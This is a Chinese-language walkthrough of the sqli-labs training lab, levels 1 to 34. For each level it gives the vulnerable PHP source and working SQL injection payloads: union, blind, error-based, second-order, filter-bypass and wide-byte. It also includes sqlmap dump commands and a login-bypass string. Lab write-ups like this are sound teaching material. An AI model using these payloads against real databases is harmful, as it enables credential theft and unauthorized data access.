sqli-labs

sqli-labs手工注入闯关过程

主要参考文章:

https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-1

基础挑战 1-20关

Less-1

请求方式 注入类型 拼接方式
GET 单引号字符型注入 id='$id'
  • 输入?id=1回显正常,输入?id=0没有显示
  • 输入?id=1'%23?id=1'--+都正常回显(#--都是注释符号,在地址栏输入要用url编码,也就是%23--+),判断可能是单引号字符型注入
  • 输入?id=1' order by 3%23,判断列数为3

手工注入

联合注入
//查数据库名,id=-1是为了让后面的结果显示出来,group_concat()的作用是将多行数据合并到一行数据,为了能将查到的所有的数据库名全部显示出来
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23

//查表名,table_schema='security'意思是表所在的数据库是security
?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

//查列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

//查数据,concat_ws()是为了将username和password对应起来,并且用:分割
?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23
布尔盲注
?id=1' and substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'%23
延时盲注
?id=1' and if(substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(3),1)%23
报错注入
?id=1' and (select 1 from (select count(*),concat((select concat(schema_name,0x7e) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

sqlmap

联合查询注入
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs

sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security --tables

sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --columns

sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users -C username,password --dump
报错注入
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs
布尔盲注
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs
延时盲注
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs

Less-2

请求方式 注入类型 拼接方式
GET 数字符型注入 id=$id
  • 输入?id=1回显正常
  • 输入?id=1' %23报错,猜测是数字型注入或双引号字符型注入
  • 输入?id=1 and 1=1回显正常,输入?id=1 and 1=2没有反应,确定是数字型注入
  • 剩下的和Less-1步骤一样,只是不需要注释和闭合单引号

Less-3

请求方式 注入类型 拼接方式
GET 单引号字符型注入 id=('$id')
  • 输入?id=1'出现如下错误,这里出现了一个括号

  • 输入?id=1')%23,回显正常,说明拼接方式为id=('$id')

  • 和Less-1的注入方法类似,不多BB

Less-4

请求方式 注入类型 拼接方式
GET 双引号字符型注入 id=("$id")
  • 输入?id=1'回显正常,输入?id=1"出现如下错误

  • 输入?id=1")%23,回显正常,说明拼接方式为id=('$id')

  • 和Less-1的注入方法类似,不多BB

Less-5

请求方式 注入类型 拼接方式
GET 报错型注入、布尔盲注、延时盲注 id='$id'
  • 输入?id=1,这是什么东东,没有回显,不输出查询的结果!

  • 输入?id=0,跟?id=1结果不同,可以尝试盲注,参考Less-1

  • 输入?id=1',报错,可以尝试报错型注入,参考Less-1

Less-6

请求方式 注入类型 拼接方式
GET 报错型注入、布尔盲注、延时盲注 id=(('$id'))
  • 参考Less-5,只需要将单引号改为双引号

Less-7

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id=(('$id'))
  • 报错但是没有详细的报错结果,直接排除报错注入

  • 输入?id=1'%23,报错,输入?id=1"%23,报错,不是单引号和双引号注入

  • 输入?id=1 and 1=2,不报错,不是数字型注入
  • 输入?id=1')%23,报错,输入?id=1")%23,不报错,猜测闭合方式为id=("$id")
  • 查看源码,发现拼接方式为id=(('$id')),吐了

  • 提示用outfile,那么我们就使用 outfile 导出到文件来查询数据

?id=1')) union select * from security.users into outfile "users.txt"%23
  • security数据库对应的目录下查看,发现 users.txt 文件,查询结果都导入到这里面了

Less-8

请求方式 注入类型 拼接方式
GET 布尔盲注、延时盲注 id='$id'
  • 参考Less-1

Less-9

请求方式 注入类型 拼接方式
GET 延时盲注 id='$id'
  • 这个主要学习如何判断能否使用延时盲注?id=1'))--+,?id=1')--+
  • 我尝试了?id=0,?id=1,?id=1'--+,?id=1"--+,?id=1')--+,?id=1")--+,?id=1'))--+,?id=1"))--+都是一个样子,怎么办?无法判断闭合方式
  • 我们尝试一下用sleep(),输入?id=1 and sleep(5)?id=1' and sleep(5)--+?id=1" and sleep(5)--+,发现用单引号闭合的时候页面才会延时,所以闭合方式为单引号
  • 使用延时盲注,参考Less-1

Less-10

请求方式 注入类型 拼接方式
GET 延时盲注 id="$id"
  • 参考Less-9,闭合方式为双引号

Less-11

请求方式 注入类型 拼接方式
POST 报错注入,布尔盲注,延时盲注 username='$uname'
  • 不再是地址栏里输入了,改成了POST方式,我们直接在输入框里输入就可以了

and sleep()和 or sleep() 详解

  • 测试发现and不管用,只能用or,为什么?
  • 认真看下面的查询过程,重点看查询时间
//这是表emails
mysql> select * from emails;
+----+------------------------+
| id | email_id               |
+----+------------------------+
|  1 | Dumb@dhakkan.com       |
|  2 | Angel@iloveu.com       |
|  3 | Dummy@dhakkan.local    |
|  4 | secure@dhakkan.local   |
|  5 | stupid@dhakkan.local   |
|  6 | superman@dhakkan.local |
|  7 | batman@dhakkan.local   |
|  8 | admin@dhakkan.com      |
+----+------------------------+

mysql> select id from emails where id='1' or sleep(2);
+----+
| id |
+----+
|  1 |
+----+
1 row in set (14.06 sec)

mysql> select id from emails where id='0' or sleep(2);
Empty set (16.04 sec)

mysql> select id from emails where id='1' and sleep(2);
Empty set (2.00 sec)

mysql> select id from emails where id='0' and sleep(2);
Empty set (0.00 sec)
  • 看出来点什么了吗?为什么使用or sleep(2)的查询时间都是十几秒,使用and sleep(2)的查询时间是2秒
  • 我是这样认为的,我们使用select id from emails where id='1' or sleep(2)查询的时候,会先执行select id from emails,执行结果如下,我把它叫为表A,把数据库最后查到要返回给我们的结果称为表B
mysql> select id from emails;
+----+
| id |
+----+
|  1 |
|  2 |
|  3 |
|  4 |
|  5 |
|  6 |
|  7 |
|  8 |
+----+
  • 剩下的where id='1' or sleep(2)怎么执行呢?
  • 数据库见到or的时候,会先看前面的条件,在这里就是id='1',在表A里一行一行的判断id是否等于1,如果等于则将该条目插入最终要返回的表B。再看后面的条件,也就是sleep(2),跟前面一样,在表A里一行一行的判断sleep(2),(已经不是表A了,因为使用了or,已经满足第一个条件的条目就不会再被第二个条件查询判断了),但是这怎么判断?数据库在每次判断的时候会执行sleep(2),一共有7行(除去了id=1的那一行),执行7次sleep(2),一共要用14秒,加上其他的查询时间,最后是14秒多一点,符合上面我们查询花费的时间
  • select id from emails where id='0' or sleep(2)查询花费16秒多的时间,也符合分析

  • 分析过了or,我们再分析and

  • or不同的是,and会先看它前面的条件,将满足第一个条件的条目插入一个表,然后第二个条件是在这张表里继续查询的
  • select id from emails where id='1' and sleep(2);为例,id='1'查到一行数据,然后查sleep(2)的时候就只执行一次,花费2秒;如果id='1'查到两行数据,然后查sleep(2)的时候就会执行两次,花费4秒

万能密码

1' or 1=1#

联合查询注入

  • 注意POST 数据里面不能有 +
1' union select 1,group_concat(schema_name) from information_schema.schemata#

报错注入

1' or (select 1 from (select count(*),concat((select concat(schema_name,0x7e) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

布尔盲注

0' or substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'#

延时盲注

//等待时间不是2秒,跟表的大小有关
1' or if(substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(2),1)#

Less-12

请求方式 注入类型 拼接方式
POST 报错注入,布尔盲注,延时盲注 username=("$uname")
  • 类似Less-11,注意修改闭合方式

Less-13

请求方式 注入类型 拼接方式
POST 报错注入、布尔盲注,延时盲注 username=('$uname')
  • 类似Less-11,注意修改闭合方式

Less-14

请求方式 注入类型 拼接方式
POST 报错注入、布尔盲注,延时盲注 username="$uname"
  • 类似Less-11,注意修改闭合方式

Less-15

请求方式 注入类型 拼接方式
POST 布尔盲注,延时盲注 username='$uname'
  • 类似Less-11,但是不能使用报错注入,查看源码发现print_r(mysql_error());被注释掉了

Less-16

请求方式 注入类型 拼接方式
POST 布尔盲注,延时盲注 username=("$uname")
  • 类似Less-15,注意闭合方式不同

Less-17

请求方式 注入类型 拼接方式
POST 报错注入、布尔盲注,延时盲注 username=filter('$uname') password='$passwd'
  • 这道题对$uname进行了过滤,但是却没有对$passwd进行过滤,所以注入点在密码上
  • 而且这里是更新密码,不是select * from users where username='admin',而是updata users set password='$passwd' where username='admin',所以不能联合查询注入
  • 演示一下报错注入,布尔盲注和延时盲注类似,注意是在密码框输入
//二者都可

1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

0' or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

Less-18

请求方式 注入类型 拼接方式
POST 报错注入、布尔盲注,延时盲注 username=filter('$uname')

简单源码分析

//过滤了账号密码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

//获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

//sql语句
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

//如果上面查询成功,则执行下面sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  • 账号和密码被过滤了不好注入,但是没有过滤$uagent$IP

PHP 里用来获取客户端 IP 的变量

  • $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
  • $_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。
  • $_SERVER['REMOTE_ADDR'],客户端不能伪造。

所以我们只能伪造$uagent,抓包修改该字段,必须输入正确的账号密码才能执行insert语句,还要注意闭合,不能使用#,可以用'1'='1来闭合单引号。而且这是insert语句,所以不能使用联合查询注入

POST /Less-18/ HTTP/1.1
Host: www.sqlilabs.com
User-Agent: 1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://www.sqlilabs.com
Connection: close
Referer: http://www.sqlilabs.com/Less-18/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit
  • 布尔盲注和延时盲注类似

Less-19

请求方式 注入类型 拼接方式
POST 报错注入、布尔盲注,延时盲注 username=filter('$uname')
  • 19和Less-18类似,也是insert语句,只不过我们伪造的不是$uagent而是$referer

报错注入

POST /Less-19/ HTTP/1.1
Host: www.sqlilabs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://www.sqlilabs.com
Connection: close
Referer: 0' or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

Less-20

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注 username='$cookee'

源码分析

if(!isset($_COOKIE['uname']))
    //过滤uname和passwd
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

else
    if(!isset($_POST['submit']))
        $cookee = $_COOKIE['uname'];
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

发现cookie没有被过滤,我们可以利用cookie注入,抓包修改cookie(这里以报错注入为例)

GET /Less-20/index.php HTTP/1.1
Host: www.sqlilabs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: uname=-1' or  (select 1 from (select count(*),concat((select concat(schema_name,0x7e) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

高级注入 21-38关

Less-21

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注 username=('$cookee')

源码分析

if(!isset($_COOKIE['uname']))
    //过滤uname和passwd
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

else
    if(!isset($_POST['submit']))
        $cookee = $_COOKIE['uname'];
        $cookee = base64_decode($cookee);
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
  • Less-21和Less-20类似,只不过21关对$_COOKIE['uname']进行了base64编码,以及闭合方式不同
GET /Less-21/index.php HTTP/1.1
Host: www.sqlilabs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: uname=Jykgb3IgIChzZWxlY3QgMSBmcm9tIChzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgY29uY2F0KHNjaGVtYV9uYW1lLDB4N2UpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksZmxvb3IocmFuZCgwKSoyKSl4IGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBncm91cCBieSB4KWEpIw==

Less-22

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注 username="$cookee"

源码分析

if(!isset($_COOKIE['uname']))
    //过滤uname和passwd
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

else
    if(!isset($_POST['submit']))
        $cookee = $_COOKIE['uname'];
        $cookee = base64_decode($cookee);
        $cookee1 = '"'. $cookee. '"';   //这里给$cookee加上了双引号
        $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
  • 参考Less-20,只是闭合方式不同

Less-23

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

if(isset($_GET['id']))
    $id=$_GET['id'];

    //下面将$id里面的 # 和 -- 替换为空
    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

联合查询注入

注释符被过滤,我们可以用闭合方式来绕过,以联合查询注入为例

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1

sqlmap

sqlmap -u http://www.sqlilabs.com/Less-23/?id=1 --tamper=versionedkeywords.py --dbms=MySQL --random-agent --flush-session --dbs
  • 很奇怪,sqlmap不能使用联合查询注入,但是手工注入却可以使用联合查询注入,手工还是有自己的优势吧

Less-24

本题使用的是二次注入,详细学习一下

源码分析

  • index.php 主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,具体的界面如下:

提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。

忘记密码:左下角的忘记密码选项提示:如果你忘记密码 请 hack it

新建用户:右下角新建用户可以新建一个自己的用户

  • failed.php

检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php

  • forgot_password.php

简单提示:如果你忘记密码 请 hack it

  • Logged-in.php

登录后的信息展示,显示登录名称并且提供了修改密码的表单

  • new_user.php

创建新用户的表单页面,本文件主要存放前段代码。

  • login_create.php

创建新用户的后端代码,下面来简单理一下创建新用户代码的流程:

# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

# 执行以下 sql 语句
$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在,无法注册,重新跳转到该页面

if 两次输入密码一致:
  # 将记录插入数据库中
  $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    查询完成后 重定向到首页
else:
    提示两次输入密码不一致
  • login.php

验证登录的后端代码

# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
  • pass_change.php

登录成功后修改密码的后端代码

if 检测未登录:
    重定向到首页
if 检测到提交表单:
  # 对 pass 都进行了过滤
  $username= $_SESSION["username"];
  $curr_pass= mysql_real_escape_string($_POST['current_password']);
  $pass= mysql_real_escape_string($_POST['password']);
  $re_pass= mysql_real_escape_string($_POST['re_password']);

  if 两次密码一致:
      # 直接将 username 拼接到 SQL 语句,执行 update 语句
      $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
  else:
      提示密码不一致 并重定向到 fail.php

思路分析

登录时的账号密码都被转义了,也就不存在注入。 我们可以先创建一个新用户admin'#,创建新用户时username被转义,不能被注入,但是我们不着急用它,先将它插入到数据库里,我们创建完新用户后admin'#就被插入到数据库里了。接着我们使用该用户登录,登陆上后选择修改密码。修改密码时username没有过滤直接拼接到sql语句中,这是的username=admin'#,这就形成了注入

  • 简单概括一下,就是我们将精心构造 SQL 语句插入到数据库中,然后又在其他过滤不严格的地方调用了该 SQL 语句,这就形成了二次注入

接着我们结合题目学习一下

  • 我们先注册用户admin'#,密码123,会执行以下代码,将账号密码插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

执行结果如下

mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
|  2 | admin'#  | 123      |
+----+----------+----------+
  • 然后我们使用admin'#登录,修改密码为456,会执行以下代码,更新数据库
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

执行结果如下

mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 456      |
|  2 | admin'#  | 123      |
+----+----------+----------+

可见我们直接修改了admin的密码

Less-25

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

//blacklist()函数,作用是将 or 和 and 替换为空
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);
    $id= preg_replace('/AND/i',"", $id);

    return $id;
}

if(isset($_GET['id']))
    $id=$_GET['id'];
    $id= blacklist($id);
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 双写嵌套绕过:
      or 被过滤为空,oorr 过滤后变成 or
      and 被过滤为空,aandnd 过滤后变成 and
    
  • 符号替换绕过:
      or > || 
      and > &&
    

联合查询注入,注意 information 里的 or 也要替换为 oorr

?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3--+

Less-25a

请求方式 注入类型 拼接方式
GET 报错注入、布尔盲注,延时盲注 id=$id
  • 与Less-25类似,只不过闭合方式不同,因为代码中没有输出报错信息,所以无法进行报错注入

Less-26

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);         //过滤 OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //过滤 AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);      //过滤 /*
    $id= preg_replace('/[--]/',"", $id);        //过滤 --
    $id= preg_replace('/[#]/',"", $id);         //过滤 #
    $id= preg_replace('/[\s]/',"", $id);        //过滤 spaces(空格)
    $id= preg_replace('/[\/\\\\]/',"", $id);    //过滤 slashes(斜线)
    return $id;
}

过滤了空格 可以使用如下的符号来替代:

符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

很奇怪,使用上面符号替代空格后还是失败,换个浏览器,还是不行。自己排查了以下,发现是$id= preg_replace('/[\s]/',"", $id);在起作用,这行代码不光过滤了空格,%09/%0a/%0b/%0c/%0d也都被过滤了

?id='%0bunion%0bselect%0b1,database(),3%0band'1'='1

可以使用报错注入,这样可以不用空格,只用括号就可以了

?id=0'||updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x7e),1)||'1'='1

  • 结果如上图,报错注入获取的数据显示不全,下面分别使用 substr() 和 mid() 两个函数来获取所有数据(需要手动修改参数)
?id=0'||updatexml(1,concat(0x7e,(select(substr(group_concat(schema_name),1,1))from(infoorrmation_schema.schemata)),0x7e),1)||'1'='1

?id=0'||updatexml(1,concat(0x7e,(select(mid(group_concat(schema_name),1,1))from(infoorrmation_schema.schemata)),0x7e),1)||1'='1

Less-26a

请求方式 注入类型 拼接方式
GET 联合查询注入、布尔盲注,延时盲注 id=('$id')

与 Less-26 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入,参考Less-26

Less-27

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}

上面的代码没有使用/i,比如/select/i(它的作用是匹配select,不分大小写),虽然过滤了select、SELECT、Select,但是selecT等等都没有过滤,也可以使用双写绕过 updatexmlextractvalue也没有被过滤

报错注入

?id='||extractvalue(1,concat(0x7e,database(),0x7e))||'1'='1
?id='||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

联合查询注入

?id='%0bunioN%0bselecT%0b1,database(),3%0band%0b'1'='1

Less-27a

请求方式 注入类型 拼接方式
GET 联合查询注入、布尔盲注,延时盲注 id="$id"

源码分析

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);      //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);         //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out Select
return $id;
}

与 Less-27 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入,参考Less-27

Less-28

请求方式 注入类型 拼接方式
GET 联合查询注入、布尔盲注,延时盲注 id=('$id')

源码分析

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);              //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                 //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
return $id;
}

跟前面一样过滤了空格和注释符,不同的是还过滤了union空格select,也可以利用双写绕过,unionunion空格select空格select

?id=')%0aunion%0aunion%0aselectselect%0a1,database(),3%0aand%0a('1

因为没有输出报错信息,所以不能使用报错注入

Less-28a

请求方式 注入类型 拼接方式
GET 联合查询注入、布尔盲注,延时盲注 id=('$id')

源码分析

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
//$id= preg_replace('/[--]/',"", $id);              //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                   //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);               //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);     //Strip out spaces.
return $id;
}

明明就是Less-28的弟弟,空格和注释都没过滤,嫌麻烦直接照搬Less-28就可以了

Less-29

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析(直接看login.php)

    $qs = $_SERVER['QUERY_STRING'];
    $id1=java_implimentation($qs);  //从$qs中截取出id
    whitelist($id1);    //验证id是否为数字,通过id则继续执行,否则跳转

    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

//whitelist()函数
function whitelist($input)
{
    //匹配只含数字的字符串
    $match = preg_match("/^\d+$/", $input);
    if($match)
        什么也不做
    else
        跳转到hack.php
}

//java_implimentation()函数
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);   //以&为分隔符把$q_s分割为数组


    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);    //取$value的前两个字符
        if($val=="id")
        {
            $id_value=substr($value,3,30);  //截取 $value 的3-30 的字符串,作为 id 的值
            return $id_value;
            echo "<br>";
            break;
        }

    }

}

上面代码的意思就是我们输入的?id必须为数字才能通过验证,但是存在问题,如果我们传入多个id会发生什么?以传入?id=1&id=2为例

  • $id=$\_GET['id']:apache中$id=2;tomcat中$id=1
规则是
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
  • $qs = $_SERVER['QUERY_STRING']:$qs='id=1&id=2'

执行java_implimentation()函数时,foreach()函数会先遍历到id=1,然后会返回id=1并执行breakid=2就会逃出去,然后就可以绕过whitelist()函数了

明白后直接使用联合查询注入

?id=1&id=' union select 1,database(),3--+

第一个id用来通过whitelist()的检测,后面的id通过$id=$\_GET['id']直接传入$id,插入了sql语句中

Less-30

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id="$id"

与Less-29类似,只是闭合方式不同

Less-31

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id=("$id")

与Less-29类似,只是闭合方式不同

Less-32

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash

    return $string;
}

mysql_query("SET NAMES gbk");       //设置了gbk字符编码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里用的是宽字节注入,不懂的可以看我这篇文章:宽字节注入原理

?id=%df'union select 1,database(),3--+

Less-33

请求方式 注入类型 拼接方式
GET 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}

addslashes():返回在预定义字符之前添加反斜杠的字符串。

预定义字符 转义后
\ \\
' \'
" \"

作用和Less-32类似,参考Less-32

?id=%df' union select 1,database(),3--+

Less-34

请求方式 注入类型 拼接方式
POST 联合查询注入、报错注入、布尔盲注,延时盲注 id='$id'

源码分析

$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

过滤方法和Less-33一样,只不过从GET型变为POST型了,burpsuite抓包修改post参数

uname=-1%df'union select 1,database()--+&passwd=1

为什么不能直接在表单里输入,非要抓包修改post参数?

  • 因为在表单输入完提交后,表单数据被直接url编码了,我们输入的%df编码后变成了%25df,就失去了作用

Less-35
